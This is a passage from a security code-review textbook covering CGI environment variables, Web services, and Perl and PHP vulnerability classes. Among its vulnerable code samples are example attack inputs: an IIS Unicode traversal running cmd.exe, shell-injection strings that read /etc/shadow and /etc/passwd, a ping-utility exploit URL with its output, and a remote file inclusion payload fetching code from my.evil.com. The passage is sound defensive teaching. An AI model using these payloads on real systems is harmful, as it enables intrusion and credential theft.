and implementation, you will establish the foundation necessary to assess the vast 

majority of web applications. 

8.5.2 Web Services and Service-Oriented Architecture 

Web Services is a software model for distributed computing that has been gaining 

popularity in recent years. The Web Services infrastructure is similar to Java remote 

method invocation (RMI), Common Object Request Broker Architecture (CORBA), 

and Distributed Component Object Model (DCOM), in that it provides a framework for 

developers to create software components that can interact with other software 

components easily, regardless if they're running on the same machine or running on 

a server halfway around the world. This interaction is achieved by using 

machine-to-machine exchanges conducted over HTTP-based transports, usually for 

communicating XML messages. 

Web Services generally exposes interfaces in some machine-discoverable form, 

although there's no requirement for this format. Web Services Description 

Language (WSDL) is the most popular format for describing these interfaces; it 

defines the service name and location, method prototypes, and potentially 

documentation on the service. Tools are available for using these WSDL files to 

generate stub code (in various languages) for interacting with target Web Services. 

You can design your Web service around a document programming model, meaning 

you receive and send XML documents with peers and use standard XML manipulation 

APIs to decode, parse, and create documents. WSDL isn't tied to any implementation, 

so the responsibility for document consistency and accuracy is placed on the platform 

or developer. For this reason, hand-generated WSDL documents might very well 

contain errors or omit methods. Also, there's no current standard for locating WSDL 

documents, although they generally end in a .wsdl extension and are served 

somewhere on the target site. 

Service-oriented architecture (SOA) is an umbrella term for a loosely coupled 

collection of Web Services. This architecture has grown popular over the past several 

years, as HTTP has morphed into a fairly universal communication protocol. Most Web 
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services use communication protocols based on Simple Object Access Protocol or 

Representational State Transfer (more on these protocols in the next section), 

although there's no requirement for a certain communication protocol. 

Whether Web services introduce any new vulnerabilities is somewhat a matter of 

opinion. Web services might be more prone to XML-related vulnerabilities (such as 

XML external entities [XXE] and XPath injection, explained in Chapter 17(? [????.]), 

"Web Applications"). Their analysis might also require more attention to certain 

classes of operational vulnerabilities. In particular, automated or certificate-based 

authentication mechanisms are necessary for server-to-server communications. 

Often both sides of communications aren't validated adequately, and interfaces 

intended for servers are publicly accessible. 

SOAP 

Simple Object Access Protocol (SOAP) is a protocol for exchanging XML 

messages, generally over an HTTP transport mechanism. The value of SOAP is that 

it's based entirely on simple, text-based, open standards. The major criticism of SOAP 

is that, in practice, it's complex and bandwidth intensive. For the most part, you can 

audit SOAP like any other Web application. It exposes methods that can be vulnerable 

to SQL or XML injection attacks, among others. 

The body of a SOAP request is contained in an envelope that identifies the requested 

service, method, and parameters. Extensions to SOAP can also add encryption and 

signature-based method authentication in addition to any HTTP-based methods; this 

component isn't addressed in detail in this chapter, however. The body of the SOAP 

message does provide additional potential for data filtering. Validation against an XML 

schema can help prevent a variety of attacks, including SQL injection, cross-site 

scripting (XSS), memory manipulation, and various XML-based attacks. A schema 

isn't a foolproof method, however; it might still allow harmful data through. When 

auditing, pay special attention to applications that rely entirely on schema-based 

protection and look for malicious data that can be validated successfully. 

REST 

Representational State Transfer (REST) includes almost any type of Web service 

communication protocol that isn't SOAP, so REST-based communication could take 

any form. Fortunately, XML is often used with REST, so most of the discussion on 

SOAP applies. JavaScript Object Notation (JSON) is another popular format for 

REST data exchange. Used mostly by client applications, it's simply a method of 

bundling data into a JavaScript object. The advantage of JSON is that it's generally 

smaller than the equivalent XML and is easy for Web browsers to consume. For this 

reason, JSON is commonly used in dynamic applications, not server-to-server 

communications. This means JSON is used in areas more prone to XSS vulnerabilities, 
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particularly stored XSS. So you need to pay careful attention to ensure that attackers 

can't supply raw JavaScript for a JSON-encoded object. 

AJAX 

Asynchronous JavaScript and XML (AJAX) is a term for the recent generation of 

highly interactive Web applications. These applications make extensive use of client 

scripting, style sheets, and asynchronous communication to create user interfaces 

that behave like typical rich client applications. The interesting thing about an AJAX 

application is that it's a client-side technology. By definition, this technology should 

have almost no impact on security. However, the extensive use of dynamic client 

content can start to blur the lines between what data should be on the client and what 

should be on the server. In reviewing these applications, pay special attention to 

information leakage to the client and insufficient data filtering at the server. This is no 

different from the vulnerabilities described in Chapter 17(? [????.]); it's just a 

mistake that's even easier to make in AJAX development. 

8.5.3 Web Application Platforms 

Now that you have a sense of the direction Web applications are headed in, next you 

need to understand details of the platforms that host these applications. Chapter 17(? 

[????.]) covered the common threads and vulnerability classes you need to be 

familiar with. However, the choice of platform can have a major impact on what 

vulnerabilities are more prevalent and how they show up. So the remainder of this 

chapter discusses the subtleties of the most popular platforms. This information is not 

exhaustive, but it should give you a foundation for identifying vulnerabilities in 

applications built on these platforms. 

8.5.4 CGI 

The Common Gateway Interface (CGI) standard specifies how a normal, 

run-of-the-mill executable interacts with a Web server to create dynamic Web 

content. It lays out how the two programs can use the features of their runtime 

environment to communicate everything necessary about a HTTP request and 

response. Specifically, the CGI program takes input about the HTTP request through 

its environment variables, its command line, and its standard input, and it returns all 

its HTTP response instructions and data over its standard output. 

It's unlikely you'll need to review the security of a straightforward CGI application, as 

it's been obsolete as a dynamic Web programming technique for at least a decade. 

However, modern Web technology borrows so much from the CGI interface, both 

implicitly and explicitly, that it's worthwhile to cover the technical nuances that are 

still around today. The following sections focus on the artifacts that are still causing 

security headaches for Web developers. 
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Indexed Queries 

In the CGI model, most of the information about the incoming HTTP request is placed 

in the CGI program's environment variables. They are covered in detail in the next 

section, but they will probably seem familiar to you, with names such as QUERY_STRING 

and SERVER_NAME. Most people are aware that the CGI program's standard input (stdin) 

is used to send the body of the HTTP request, which is generally referred to as 

"POSTing data." CGI uses its standard output to communicate its HTTP response to 

the Web server. 

Next, look at the command-line arguments. You've probably assumed that the GET 

query string parameters are passed over the command line. It turns out, however, 

that this assumption is almost entirely wrong. The query string is always in the 

QUERY_STRING environment variable, but it's almost never passed over the command 

line. This contention probably seems flat wrong to anyone who has witnessed the 

efficacy of URLs such as the following: 

GET /scripts/..%c1%c1../winnt/system32/cmd.exe?/c+dir+c:\ 

 

This Unicode attack works because it inadvertently initiates an antiquated form of 

HTTP request called an "indexed query." Indexed queries are old: They predate HTML 

forms and today's GET and POST methods. (At one point, they were almost added to 

the HTTP specification as the TEXTSEARCH query, but they never made it into the final 

draft.) Before HTML had input boxes and buttons, you could place only a search box 

on your Web site by using the <ISINDEX> tag on your page. It causes a single input text 

box to be placed on your site, and still works if you want to see it in action. If a user 

enters data in the box and presses Enter, the Web browser issues an indexed query to 

the page. As an example, entering the string "jump car cake door" causes the browser 

to send the following query: 

GET /name/of/the/page.exe?jump+car+cake+door 

 

The Web server interprets this indexed query by running page.exe with an argument 

array argv[] of {"page.exe", "jump", "car", "cake", "door"}. The original string 

delimiter was the addition sign, not the ampersand, but other than that, it's close to 

the query string mechanism used today. 

So when a contemporary Web server sees a request with a query string, it checks to 

see whether it's an indexed query. If the query string contains an unescaped equal 

sign (=), the Web server decides it's a normal GET query string request, puts the query 

string in the QUERY_STRING environment variable, and doesn't pass any command-line 

arguments to the CGI program. 
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If the Web server sees a query string without an equal sign, it assumes it's an indexed 

query. It still places the entire query string in QUERY_STRING, but it also sets up 

command-line arguments for running the CGI program. 

Environment Variables 

Most of the information about a Web request is communicated through environment 

variables in the CGI model. It's important to have a grasp of these variables because 

they have been carried through into most new Web technology. In fact, a few subtly 

confusing variables inherited from the CGI interface still trip up new developers. 

Some variables are straightforward pieces of data that are copied straight out of the 

client's HTTP request, and the Web server fills out other variables to explain its 

runtime environment and configuration. Finally, some variables contain analysis and 

interpretation of the request. The Web server performs analysis and processing of the 

request to reach the point where it decides it should call a CGI program. Some of this 

analysis is passed on to the CGI, and it's usually these variables that cause problems 

because of their nuanced nature. 

Static Variables 

Start with the variables that stay the same across multiple requests: 

 GATEWAY_INTERFACE This variable tells the CGI program what version of the CGI 

interface the Web server is using, such as CGI/1.1. 

 SERVER_SOFTWARE This variable is the name and version of the Web server 

managing the CGI gatewayfor example, Apache 1.32.3. 

Straightforward Request Variables 

These variables vary depending on the HTTP request, but they are fairly 

straightforward in how they get their information and what they mean: 

 REMOTE_ADDR This variable is the IP address of the machine sending the request 

to the Web server. It's often the IP address of a load-balancer or proxy 

appliance, if these devices are in use. 

 REMOTE_HOST This variable is the fully qualified domain name of the host 

sending the request to the server, if it's available. Again, it isn't always the real 

client's hostname; it could refer to a proxy server. 

 REMOTE_IDENT If the Web server queries the IDENT server on the client and gets 

a response indicating the client's username, that name is placed in this 

variable. 

 CONTENT_LENGTH This variable contains the number of bytes the Web server is 

going to send over stdin to the CGI program. It's the size of the content data 

of the HTTP requestfor example, 10000, meaning 10,000 bytes. 
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 CONTENT_TYPE This variable is the media type of the request body data sent 

over stdin, such as application/x-www-form-urlencoded. If the server can't 

figure it out from the request, it can omit it. 

 AUTH_TYPE This variable tells the CGI which type of HTTP authentication the 

user requested, if any. The Web server parses this valueBasic, for 

examplefrom the Authorization header field. 

 REMOTE_USER If the user authenticates with HTTP authentication, this variable is 

the username. Otherwise, it's undefined. 

 REQUEST_METHOD This variable is the HTTP method the client used, such as GET, 

POST, or TRACE. 

Parroted Request Variables 

For every HTTP request line the Web server sees, it translates it into an appropriate 

environment variable name and passes it on to the application. For example, an HTTP 

request header contains the following User-Agent tag: 

User-Agent: AwesomeWebBrowser/1.5 

 

The CGI engine converts the variable name to all uppercase letters. It then converts 

any hyphen characters into underscores, and finally adds HTTP_ to the beginning of all 

automatically converted request header fields. So you end up with the environment 

variable HTTP_USER_AGENT set to the value AwesomeWebBrowser/1.5. 

The Web server puts a few request header fields, such as Content-Length and 

Content-Type, into the core environment variables, so it doesn't need to convert 

those request header fields and duplicate the information. Also, CGI engines 

shouldn't translate a few request header fields for security reasons, such as the 

base64 authorization data users provide. This makes sense; if the Web server is 

handling authentication and verification of credentials, there's no reason to expose 

usernames and passwords to the CGI script as well. 

Synthesized Request Variables 

As the Web server processes a request, it creates more subtle variables. Originally, 

the CGI system was designed around a straightforward file tree model that assumes 

a URI refers to a file existing on the file system. This assumption is often untrue in 

modern applications, as the web server may perform number of path mappings 

before determining the final URI. In many cases, the server must synthesize the final 

URI, along with variables and state information that match the CGI programs 

requirements. 

When run, the CGI program is told it's being called on behalf of a particular URI, called 

the script URI. It might be the same URI the client requested, or it could be a 
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completely arbitrary fabrication of the Web server. Either way, all the information 

provided in separate environment variables should appear to refer to a single initial 

query from the user. These synthesized request variables are described in the 

following list: 

 SERVER_NAME This variable is simply the hostname of the Web server. It's listed 

under synthesized request variables because certain valid requests include a 

hostname from the client. A fully expressed URL includes the hostname in a 

GET statement, and the virtual hosting support of most Web servers allows the 

client to provide a hostname in the request header. So a Web server has some 

latitude in constructing what CGI sees as the server's hostname. 

Inge Henriksen, an independent security researcher, discovered that Internet 

Information Services (IIS) 4, 5, and 6 are malleable in this fashion, and he 

came up with several situations in which SERVER_NAME is trusted as being 

immutable (archived at http://secunia.com/advisories/16548/). The attack is 

simply to change a request like the following: 

  GET /test.asp HTTP/1.0 

To this request: 

  GET http://localhost/test.asp HTTP/1.0 

ISS trusts the supplied hostname as a reasonable specification of a virtual host, 

and then certain code that checks to make sure SERVER_NAME is localhost ends 

up being defeated. 

 SERVER_PORT This variable is the TCP port on which the request came in. This 

value should be fairly immutable, too, but it might be influenced by attackers 

somehow. It's unlikely, however. 

 SERVER_PROTOCOL This variable specifies the protocol used when the request is 

submitted by the client. It's usually something like "HTTP/1.1," corresponding 

roughly to the protocol specified on the first line of an HTTP request. 

 PATH_INFO This variable refers to a lesser-known technique used to pass 

arguments to CGI scripts and other dynamically executed code. Say you have 

a program named compute.exe in your Web tree in the directory /scripts. If 

someone issues this Web request: 

  GET /scripts/compute.exe HTTP/1.0 

it calls your compute.exe program just as you would expect. Here's the request 

with some PATH_INFO added: 

  GET /scripts/compute.exe/compute_slow/output_blue HTTP/1.0 

http://secunia.com/advisories/16548/
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This might not be what you'd expect, but the Web server still runs compute.exe. 

The algorithm that Web servers use stops at the first such solid match when 

interpreting a pathname. Everything past the matched name is considered 

additional arguments to the program, called PATH_INFO. So the string 

/compute_slow/output_blue is provided to compute.exe in the environment 

variable PATH_INFO. 

 PATH_TRANSLATED If you think the implicit default support for PATH_INFO in Web 

servers is odd, you'll wonder what underground lab PATH_TRANSLATED crawled 

out of. To get the value for PATH_TRANSLATED, the Web server starts by 

interpreting the PATH_INFO component of the query as a pathname, assuming 

it's relative to the document root. It then converts that pathname from a 

virtual Web tree path to an actual path in the underlying file system. It's not 

immediately obvious why someone would do all this, which makes it even 

more amazing that it's one of a select few default behaviors of Web servers. 

This processing comes in useful, however, if you want to use a CGI program as 

a wrapper or filter to other files or content. Say you have a popular Web page 

in your Web tree in /cake.html, and you wrote a program that converts files 

from English to French. You could place the French program on your Web site 

in the root as well. 

If users go to www.cakestories.com/French/cake.html, they end up running 

the French program with a PATH_INFO of /cake.html. So PATH_TRANSLATED takes 

/cake.html and figures out the physical drive path corresponding to that file. 

When French runs, its PATH_TRANSLATED environment variable is set to 

something like /home/jim/jenny/website/htdocs/cake.html. The French 

program can open that file directly with file system API calls, do its magic, and 

display the results. 

PATH_TRANSLATED can be used to make wrapper-type programs as well, 

assuming you have the support of the Web server. A program based on 

PATH_TRANSLATED simply opens the file in that environment variable, assuming 

it's called with that filename. With a little sleight of hand performed by the 

Web server, the French program doesn't need to be in the Web tree or in the 

immediate file path. 

 QUERY_STRING This variable is what it sounds like, which is probably a relief 

after the previous two environment variables. It's everything in the requested 

URI past the question mark. For example, say you have a program at 

/convert.exe, and this request is sent: 

  GET /convert.exe?query HTTP/1.0 

http://www.cakestories.com/French/cake.html
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The QUERY_STRING variable is set to query, even though it's an indexed query. 

It's always set to the query string if there is one. Now consider this request: 

  GET /convert.exe/allthestuff/pathinfoisfun?queryingis/also/fun 

The PATH_INFO in this request is /allthestuff/pathinfoisfun, and the 

QUERY_STRING is queryingis/also/fun. The query string is simply everything 

after the question mark in the URI. 

 SCRIPT_NAME This variable is a Web path that can be used to identify the CGI 

that's running. It should not overlap with PATH_INFO or QUERY_STRING, and you 

should be able to concatenate all three variables to assemble the script URI 

the CGI program is processing. SCRIPT_NAME has to be a URL a script can use to 

refer to itself when talking to the Web server. 

Path Confusion 

If you think about the exposed functions in the CGI specification, there isn't a lot to 

help developers who want to know where their application resides in the Web tree and 

the file system. The odd thing is that the environment variable names sound as 

though they have a logical purpose toward this end. Most people assume PATH_INFO is 

the path to the directory where the script resides. They assume PATH_TRANSLATED is 

simply that pathname mapped to the physical file system. However these variables 

don't behave even remotely as their names imply. What's amusing is that sometimes 

developer's get lucky by virtue of circumstance, and their code works well enough to 

get by even though it uses the variables incorrectly. 

So CGI path handling provides a historic interface that's quite inconsistent, solves the 

wrong problems, and is prone to being misunderstood and used incorrectly. Naturally, 

it has been propagated to every Web technology in some form or another as a 

universal interface. The following sections explain how some common environment 

variables have been incorporated into modern Web environments, focusing on 

PATH_INFO, PATH_TRANSLATED, QUERY_STRING, and SCRIPT_NAME, because they are the 

most important or baffling. Table 18-1 summarizes these variables. 

Table 18-1. Common Web Environment Variables 

Language Interface 

PATH_INFO: additional path argument information 

CGI and Perl Environment variable PATH_INFO 

PHP $_SERVER['PATH_INFO'] 

ASP and ASP.NET Request.ServerVariables("PATH_INFO") 

Java and JSP Request.getPathInfo() 
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Table 18-1. Common Web Environment Variables 

Language Interface 

PATH_TRANSLATED: a filename mapped to the real file system 

CGI and Perl Environment variable PATH_TRANSLATED 

PHP $_SERVER['PATH_TRANSLATED'] 

ASP and ASP.NET Request.ServerVariables("PATH_TRANSLATED") 

Java and JSP Request.getPathTranslated() 

QUERY_STRING: everything to the right of the ? 

CGI and Perl Environment variable QUERY_STRING 

PHP $_SERVER['QUERY_STRING'], among others 

ASP and ASP.NET Request.ServerVariables("QUERY_STRING"), among others 

Java and JSP Request.getQueryString() 

SCRIPT_NAME: virtual path to the running URI 

CGI and Perl Environment variable SCRIPT_NAME 

PHP $_SERVER['SCRIPT_NAME'] 

ASP and ASP.NET Request.ServerVariables("SCRIPT_NAME") 

Java and JSP Request.getServletPath() 

 

 

Example of a PATH_INFO-Related Vulnerability 

One common security mistake is to not consider PATH_INFO information when 

performing a security check against a filename. If the dynamic code constructs its 

notion of the SCRIPT_NAME in a way that includes PATH_INFO or a query string, the 

integrity of that filename can be violated. Here's a real-world example of a security 

check that went wrong: 

   if (!request.getRequestURI().endsWith("_proc.jsp")){ 

      session.invalidate(); 

      weblogic.servlet.security. ServletAuthentication.logout(request); 

      RequestDispatcher rd = application.getRequestDispatcher( 

         "/sanitized/login.jsp"); 

      rd.forward(request, response); 

   }else{ 

... 

Actual page content 

... 
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} 

 

In this code, the request.getRequestURI() function is used to get the filename of the 

currently running program, and then the code attempts to check that it's indeed a JSP 

file. The problem is that the equivalent of SCRIPT_NAME should have been checked; it's 

retrieved with getServletPath(). The getrequestURI() function is similar, except it 

includes any PATH_INFO that's present. Therefore, an attacker can avoid the bolded 

security check by appending extraneous PATH_INFO ending in _proc.jsp. 

8.5.5 Perl 

Perl was a popular language for creating CGI scripts because it was well suited for 

rapid text-oriented Web programming. It's rarely encountered in new production 

systems, however; it's mostly been supplanted by PHP, Java, and Microsoft solutions. 

When present, it's usually confined to smaller one-off pieces of a larger Web 

application, and the code is often several years old. 

Perl is an extremely flexible language, designed to give developers many ways to 

perform a task. A lot of "magic" is involved, with expressions performing nuanced 

behaviors behind the scenes to make things work smoothly. Needless to say, Perl has 

plenty of security pitfalls, too. 

SQL Injection 

Database access is usually done through the Perl DBI module, although other 

mechanisms can be used. In general, you should do a non-case-sensitive search for 

the strings DBI, ODBC, SQL, SELECT, EXECUTE, QUERY, and INSERT to locate database 

interaction code. The following is a brief example of what vulnerable SQL DBI code 

looks like in Perl: 

use DBI; 

... 

$dbh = DBI- 

>connect("DBI:mysql:test:localhost","test","tpass"); 

... 

$sth = $dbh->prepare("select * from cars where brand='$brand'"); 

$sth->execute; 

 

This code issues a simple vulnerable SQL query to a MySQL database. One interesting 

point is that this code first prepares and then executes the query. However, the 

prepared query is vulnerable because the user-supplied data is not bound. 

File Access 
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Perl has flexible mechanisms for accessing the file system, but this flexibility makes 

these access mechanisms susceptible to user manipulation. The most common way to 

open a handle to a file is the open() function. It's dangerous to allow users to control 

parts of a filename string passed to this function, as the filename string can specify 

the access mode to the file or even tell open() it should spawn a shell and perform a 

command. These issues are covered at length in Chapter 8(? [????.]), "Strings and 

Metacharacters." 

For example, say you have a CGI script that takes a user-supplied variable and places 

it in $firstname. The following code could be a security disaster: 

open(MYHANDLE, "$firstname"); 

 

Users could specify a filename ending or starting in a pipe character and issue an 

arbitrary command with a filename such as "cat /etc/shadow|". Users could also open 

any file on the file system, for reading, writing, or appending. 

Another important nuance to note is that Perl is susceptible to the NUL byte injection 

issue. It doesn't treat the NUL-terminating byte as the end of the string, but when its 

strings are passed to the underlying OS, the OS does honor them. So, if you had code 

like this: 

open(MYHANDLE, "/usr/local/myapp/desc/".$firstname.".txt"); 

 

Users could specify a $firstname of ../../../../etc/passwd%00, and the code would 

end up opening /etc/passwd. The well-known security researcher Rain Forest Puppy 

(RFP) wrote an excellent article introducing the world to this problem, published in 

Issue 55 of Phrack magazine (www.phrack.org). 

Shell Invocation 

Programmers can start a command shell in numerous ways in Perl. Calling open() to 

open a command shell, as in the previous example, is the most devious case to look 

for because it usually catches developers by surprise. The system() and exec() 

functions are more straightforward and perform similarly to their standard library 

counterparts. Backticks are also an interesting built-in language construct for starting 

a subshell. So code similar to the following would be vulnerable: 

$fileinfo= `ls l $filename`; 

 

If users specify a filename of "/;cat /etc/passwd", the subshell would honor it as a 

two-command sequence. 

http://www.phrack.org/
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File Inclusion 

The require() function can be used to read in arbitrary code at runtime, so any 

situation in which users can modify the file argument to require() is dangerous. The 

use() function is safer because it's limited to loading Perl modules, and it works at 

compile time, not runtime. The do() function is used infrequently; It's roughly 

equivalent to require() in that it loads an external Perl file and runs it through the 

parser/interpreter. Here's an example of what a vulnerable use of the require 

statement might look like: 

# assume $user_language is taken from a cookie 

my $module = "/usr/local/myapp/localization/conversion_" 

    . $user_language . "pm"; 

require $module; 

 

This code attempts to load in a block of code to handle conversion of output into the 

correct language. It assumes the language taken from the cookie ($user_language) 

corresponds to a two-letter code, such as en or fr. If attackers use directory traversal 

and the NUL-byte injection, they can exploit the code to run any Perl file on the 

system. 

Inline Evaluation 

The eval() function evaluates Perl code dynamically, as does the /e regular 

expression modifier. If user-malleable data is used in the dynamically constructed 

code, attackers might be able to run arbitrary Perl. Razvan Dragomirescu, an 

independent researcher, discovered an instance of this vulnerability in the 

Majordomo mailing list manager (www.securityfocus.com/bid/2310). Here's the 

vulnerable code: 

foreach $i (@array) { 

                      $command = "(q~$reply_addr~ =~ $i)"; 

                      $result = 1, last if (eval $command); 

                   } 

 

Attackers can exert just enough control over reply_addr to seize control of the script. 

Dragomirescu's exploitation technique embedded backticks in the reply address so 

that the Perl interpreter opened an attacker controlled subshell. 

The eval() syntax is straightforward, as shown in the previous example. The /e 

modifier is a bit less common and might be harder to spot. Here's a basic example of 

how it could be used: 

http://www.securityfocus.com/bid/2310
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    s/\d+/sprintf("%5d",$&)/e;  # yields 'abc 246xyz' 

 

If an attacker can modify the expression being executed, they can likely compromise 

the application causing to generate an attacker-controlled command line. 

Cross-Site Scripting 

Perl provides the HTML::Entities::encode() function to escape HTML metacharacters, 

and the URI::Escape::uri_encode() function for handling URLs. The HTML::Entities 

and URI::Escape modules include some additional interfaces to handle different 

encodings, among other things. The Apache::TaintRequest module can also be used 

to prevent reflected cross-site scripting through the Perl taint system. When auditing 

Perl code, look for the absence of any of these protection methods in code displaying 

user-malleable HTML. 

Taint Mode 

Taint mode is a novel feature of Perl that can be used in Web applications to help 

buttress their security and diagnose or discover security issues. It marks any external 

input as potentially tainted. If the program tries to do something sensitive with that 

input, it encounters an error and halts. Sensitive operations are tasks such as opening 

files, spawning subshells, dynamically evaluating code, and interacting with the file 

system, database, or network. The perlsec reference page in your Perl installation is 

a good place to start for learning more about taint mode. 

8.5.6 PHP 

PHP Hypertext Preprocessor (PHP) is one of the most popular platforms for web 

development, especially in the open source community. It is available as an Apache 

module, ISAPI filter, and CGI program, making it one of the most versatile web 

platforms in use. PHP's low cost, open license, and relatively simple syntax are a 

major part of its rapid uptake. It is especially popular with junior web developers 

because it provides a fairly easy transition from static HTML pages to rich dynamic 

web sites. 

PHP was originally designed as a simple set of Perl scripts performing basic HTML 

templating and substitution. However, more than ten years of development and five 

major revisions have evolved it into a robust object-oriented language with a vast 

range of libraries and toolkits. Unfortunately PHP's convenience and expansive 

libraries are also one of its major security issues. 

Many PHP libraries are simple wrappers around myriad system APIs that behave 

differently and affect security in ways poorly understood by most developers. PHP's 

simplicity and rapid uptake have also resulted in a large number of popular toolkits 
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developed with little respect for security. Of course, the PHP platform itself is no less 

secure than any of its competitors. So, with a proper knowledge of the major PHP APIs, 

you can identify and diagnose potential security issues. 

SQL Injection 

Most database interaction in PHP is done through a handful of simple common 

interfaces. MySQL database interaction typically involves the mysql_connect() and 

mysql_query() functions. Postgres interaction uses pg_connect() and pg_query(). 

Microsoft SQL Server uses the mssql_query() family of functions. Here's a typical 

vulnerable SQL query: 

$res=mysql_query("SELECT * FROM users WHERE name='" 

    . $_GET["username"] . "'"); 

 

This code issues a typical vulnerable query to a MySQL server, although it's not 

specific to MySQL. All the database-specific interfaces use the same general set of 

functions. You should search the codebase first to determine which functions are used 

and attempt to examine all SQL queries. It's worth researching online documentation 

to gather a list of potential functions, but the short list includes the following: 

 mysql_query() 

 mysql_db_query() 

 mysql_unbuffered_query() 

 pg_execute() 

 pg_query() 

 pg_query_params() 

 pg_prepare() 

 pg_send_execute() 

 pg_send_query() 

 pg_send_query_params() 

 pg_send_prepare() 

 mssql_execute() 

 mssql_query() 

In addition, a generic Open Database Connectivity (ODBC) interface is implemented 

in the odbc_* family of functions. It has a slightly different API, with a SQL query 

assuming the following form: 

$query="SELECT * FROM users WHERE name='" 

    . $_GET["username"] . "'"; 

$result = odbc_exec($conn, $query); 
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When reviewing code, check all uses of odbc_exec(), odbc_execute(), odbc_do(), and 

odbc_prepare(). 

Finally, the PHP Data Objects (PDO) functionality provides an abstraction on top of a 

database layer. You should be able to isolate SQL queries by looking for calls to the 

PDO methods exec(), prepare(), and query(). You also need to check the 

PDOStatement.execute() method to make sure the prepared statement template isn't 

constructed dynamically. 

File Access 

PHP implements most of the C-style standard library calls for file manipulation. The 

fopen() function is the most common one for opening files, and it has an interface 

much like C's. Other functions of interest include readfile(), dir(), unlink(), file(), 

mkdir(), symlink(), and get_file_contents(). The usual tampering concerns apply to 

PHP's file access functions, and a typical exploitable issue looks something like this: 

$myfile = "/usr/local/myapp/var/:".$_GET['filename']; 

$fp = fopen($myfile,"r"); 

 

This code results in a straightforward directory traversal attack allowing reading of 

arbitrary files. PHP is also vulnerable to NUL-byte injection, although it's addressed 

automatically in certain configurations, depending on global settings. 

Of course, the developers of PHP couldn't simply let fopen() be relegated to the mere 

task of opening files on the file system. They stopped short of adding subshell 

execution as Perl does, but they did add support for handling URLs automatically. So 

if you use fopen() with a filename of http://www.neohapsis.com/, for example, an 

HTTP connection is made for you behind the scenes. PHP comes with support for 

http://, ftp://, and file://. Depending on the build, it can also support https://, ftps://, 

a few special php:// files, zlib://, compress.zlib://, compress.bzip2://, ssh2.shell://, 

ssh2.exec://, ssh2.tunnel://, ssh2.sftp://, ogg://, and expect://. 

This behavior is enabled by default and is disabled by changing the setting of 

allow_url_fopen in the php.ini configuration file. As you might imagine, this behavior 

can be very dangerous if an attacker controls the beginning of a filename. At a 

minimum, the attacker can attempt to get the Web server to make remote network 

requests, which can be useful for firewall attacks, especially on stateful inspection 

firewalls that parse application-layer protocols, such as FTP. Attackers might simply 

be able to take advantage of the Web server's location in the network to perform a 

nefarious action. For example, they could make requests to administrative interfaces 

that are firewalled from the outside or even overload protocols to make an FTP or 

HTTP request be interpreted by a different daemon as valid input. The effects are 

similar to the XML external entities attack discussed in Chapter 17(? [????.]). 

http://www.neohapsis.com/
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Attackers with control of the beginning of a filename can use any of the methods 

listed previously to have total control over the file contents the PHP code sees. This 

control may or may not be a severe security issue, depending on the subsequent code, 

but it's likely that creative attackers can come up with some form of attack. One 

special file that's still present if allow_url_fopen is disabled is the php://input file. 

This special file lets code read the raw data that was sent via POST to the PHP script. 

Shell Invocation 

As in Perl, developers can call a command shell in a PHP script in quite a few ways. 

Backticks open a command shell, so any user-malleable data inside backticks 

represents a major risk. The exec() function runs an external program through a 

subshell, so don't mistake it for being similar to an execve()-style system call. The 

shell_exec() function is equivalent to the backtick operator, and system() is similar to 

the libc system(): It runs the command through a subshell. The proc_open() and 

popen() functions are similar to the libc popen() and are used for spawning a 

subprocess with a pipe. The passthru() function runs a command in a shell and has it 

replace the currently running process. 

What's most important to note is that every single API mentioned takes a "command" 

as the argument, and that command is run through a shell. The PHP function that just 

uses execve() with a file is pcntl_exec(), and anything else should be examined for 

metacharacter injection potential. This naming is a little misleading because you 

would expect functions such as exec() and proc_open() to work like libc 

execve()-style functions, but they don't. 

Here's a simple example of a real-world vulnerability in the PHP Ping utility: 

//************************************* 

// FUNCTION DU PING 

//************************************* 

function PHPing($cible,$pingFile){ 

exec("ping -a -n 1 $cible >$pingFile", $list); 

$fd = fopen($pingFile, "r"); 

while(!feof($fd)) 

{ 

$ping.= fgets($fd,256); 

} 

fclose($fd); 

return $ping; 

} 

//--------------------------------------- 

?> 
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This issue, discovered by Gregory Lebras of Security Corporation, is straightforward 

(www.securityfocus.com/bid/7030). Users can insert shell metacharacters in the 

$cible variable. Therefore, the call to exec() can be used to run arbitrary commands 

of the attacker's choosing. Here's the example Lebras provided: 

http://[target]/phpping/index.php?pingto=www.security-corp.org%20|%20d

ir 

 

... 

 

c:\phpping 

 

03/03/2003  23:01       <DIR>          . 

03/03/2003  23:01       <DIR>          .. 

03/03/2003  23:00       <DIR>          img 

30/04/2002  23:13                3217 index.php 

30/04/2002  23:19                 921 README 

03/03/2003  23:03                   0 resultat.ping 

               3 file(s)           4138 bytes 

               3 Dir(s) 11413962752 bytes free 

 

 

File Inclusion 

The require and include language directives are used to include other files in a PHP 

script. Both resolve dynamically constructed strings, and it's not uncommon for 

developers to make use of this feature. Any user-supplied input in the included 

filename can introduce serious security flaws by allowing users to run any file they 

want through the PHP interpreter. You should also consider the similar functions 

require_once() and include_once() during code review. 

PHP is quite vulnerable to this class of security flaw, as the require and include 

language directives support the flexible URL file opening discussed for the fopen() 

function. In the default PHP configuration, therefore, the following code would be 

extremely unsafe: 

// Now draw the current submenu 

include ($_GET['submenu']."_code.inc"); 

 

Attackers could supply the following for the submenu parameter: 

http://my.evil.com/evilcode.txt?ignore= 

 

http://www.securityfocus.com/bid/7030
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The PHP interpreter would connect to my.evil.com and make a Web request for the 

following: 

GET evilcode.txt?ignore= 

 

Then it would take the response from evil.com and run it as a PHP script. In this way, 

attackers can provide any arbitrary PHP code they want. 

If the configuration disables allow_url_fopen for security reasons, there's still a 

potential attack vector. Attackers could specify a filename of php://input, which 

causes the PHP interpreter to parse and execute the raw data that sent via POST to the 

PHP script. 

Inline Evaluation 

The eval() function evaluates a string as a block of PHP code through the interpreter. 

User-malleable data in an evaluated string can lead to major security exposures if 

users can maliciously embed their own PHP code. James Bercegay of Gulftech 

Research and Development discovered the following vulnerability in the PHPXMLRPC 

module (www.osvdb.org/17793): 

  // decompose incoming XML into request structure 

  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 

    true); 

  xml_set_element_handler($parser, "xmlrpc_se", "xmlrpc_ee"); 

  xml_set_character_data_handler($parser, "xmlrpc_cd"); 

  xml_set_default_handler($parser, "xmlrpc_dh"); 

  if (!xml_parse($parser, $data, 1)) { 

    // return XML error as a faultCode 

    $r=new xmlrpcresp(0, 

      $xmlrpcerrxml+xml_get_error_code($parser), 

        sprintf("XML error: %s at line %d", 

          xml_error_string(xml_get_error_code($parser)), 

        xml_get_current_line_number($parser))); 

    xml_parser_free($parser); 

  } else { 

    xml_parser_free($parser); 

